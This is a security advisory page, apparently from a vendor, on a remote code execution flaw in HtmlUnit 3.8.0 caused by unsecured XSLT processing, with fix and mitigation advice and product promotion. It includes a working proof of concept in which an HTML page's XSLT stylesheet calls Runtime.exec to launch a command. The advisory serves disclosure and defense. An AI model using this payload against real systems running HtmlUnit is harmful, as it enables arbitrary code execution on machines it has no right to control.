GHSA-37vq-hr2f-g7h7
CRITICALHtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
org.htmlunit:htmlunitReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage
Details
Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)
The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor
PoC
pom.xml:
<dependency>
<groupId>org.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>3.8.0</version>
</dependency>
code:
WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());
test.html:
<script>
var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
var xslProc;
xslDoc.async = false;
xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<span><xsl:value-of select="$processString"/></span>
</xsl:template>
</xsl:stylesheet>`)
if (xslDoc.parseError.errorCode != 0) {
var myErr = xslDoc.parseError;
document.write("ParseError: "+myErr.reason);
} else {
xslt.stylesheet = xslDoc;
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.loadXML("<s></s>");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
document.write("Document error: " + myErr.reason);
} else {
xslProc = xslt.createProcessor();
xslProc.input = xmlDoc;
xslProc.transform();
document.write(xslProc.output);
}
}
</script>
Impact
Remote Code Execution
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.htmlunit:htmlunit | all versions | 3.9.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.htmlunit:htmlunit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.htmlunit:htmlunit to 3.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-37vq-hr2f-g7h7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-37vq-hr2f-g7h7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-37vq-hr2f-g7h7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-37vq-hr2f-g7h7 in your dependencies?
O3 detects GHSA-37vq-hr2f-g7h7 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.